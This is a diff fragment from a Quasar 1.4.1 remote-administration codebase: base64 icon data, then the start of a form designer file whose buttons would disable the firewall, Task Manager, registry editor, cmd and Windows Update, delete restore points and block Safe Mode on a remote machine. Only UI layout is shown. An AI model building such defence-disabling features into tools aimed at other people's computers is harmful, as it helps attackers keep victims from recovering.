sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.Designer.cs new file mode 100755 index 0000000..f970d22 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.Designer.cs @@ -0,0 +1,348 @@ +namespace Quasar.Server.Forms +{ + partial class FrmSystemOptions + { + private System.ComponentModel.IContainer components = null; + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) components.Dispose(); + base.Dispose(disposing); + } + #region Windows Form Designer generated code + private void InitializeComponent() + { + this.groupRegistry = new System.Windows.Forms.GroupBox(); + this.groupTaskMgr = new System.Windows.Forms.GroupBox(); + this.groupCmd = new System.Windows.Forms.GroupBox(); + this.groupFirewall = new System.Windows.Forms.GroupBox(); + this.groupRestorePoints = new System.Windows.Forms.GroupBox(); + this.groupPowerShell = new System.Windows.Forms.GroupBox(); + this.groupPsExec = new System.Windows.Forms.GroupBox(); + this.groupWinUpdate = new System.Windows.Forms.GroupBox(); + this.groupRdp = new System.Windows.Forms.GroupBox(); + this.groupUsb = new System.Windows.Forms.GroupBox(); + this.groupControlPanel = new System.Windows.Forms.GroupBox(); + this.groupRunDialog = new System.Windows.Forms.GroupBox(); + this.groupSafeMode = new System.Windows.Forms.GroupBox(); + this.btnEnableRegistry = new System.Windows.Forms.Button(); + this.btnDisableRegistry = new System.Windows.Forms.Button(); + this.btnEnableTaskMgr = new System.Windows.Forms.Button(); + this.btnDisableTaskMgr = new System.Windows.Forms.Button(); + this.btnEnableCmd = new System.Windows.Forms.Button(); + this.btnDisableCmd = new System.Windows.Forms.Button(); + this.btnEnableFirewall = new System.Windows.Forms.Button(); + this.btnDisableFirewall = new System.Windows.Forms.Button(); + this.btnDeleteRestorePoints = new System.Windows.Forms.Button(); + this.btnEnablePowerShell = new System.Windows.Forms.Button(); + this.btnDisablePowerShell= new System.Windows.Forms.Button(); + this.btnEnablePsExec = new System.Windows.Forms.Button(); + this.btnDisablePsExec = new System.Windows.Forms.Button(); + this.btnEnableWinUpdate = new System.Windows.Forms.Button(); + this.btnDisableWinUpdate = new System.Windows.Forms.Button(); + this.btnEnableRdp = new System.Windows.Forms.Button(); + this.btnDisableRdp = new System.Windows.Forms.Button(); + this.btnEnableUsb = new System.Windows.Forms.Button(); + this.btnDisableUsb = new System.Windows.Forms.Button(); + this.btnEnableControlPanel = new System.Windows.Forms.Button(); + this.btnDisableControlPanel = new System.Windows.Forms.Button(); + this.btnEnableRunDialog = new System.Windows.Forms.Button(); + this.btnDisableRunDialog = new System.Windows.Forms.Button(); + this.btnAllowSafeMode = new System.Windows.Forms.Button(); + this.btnBlockSafeMode = new System.Windows.Forms.Button(); + this.txtLog = new System.Windows.Forms.TextBox(); + this.groupRegistry.SuspendLayout(); + this.groupTaskMgr.SuspendLayout(); + this.groupCmd.SuspendLayout(); + this.groupFirewall.SuspendLayout(); + this.groupRestorePoints.SuspendLayout(); + this.groupPowerShell.SuspendLayout(); + this.groupPsExec.SuspendLayout(); + this.groupWinUpdate.SuspendLayout(); + this.groupRdp.SuspendLayout(); + this.groupUsb.SuspendLayout(); + this.groupControlPanel.SuspendLayout(); + this.groupRunDialog.SuspendLayout(); + this.groupSafeMode.SuspendLayout(); + this.SuspendLayout(); + // ROW0 COL0 - Registry Editor + this.groupRegistry.Controls.Add(this.btnEnableRegistry); + this.groupRegistry.Controls.Add(this.btnDisableRegistry); + this.groupRegistry.Location = new System.Drawing.Point(12, 12); + this.groupRegistry.Size = new System.Drawing.Size(260, 90); + this.groupRegistry.TabIndex = 0; this.groupRegistry.TabStop = false; + 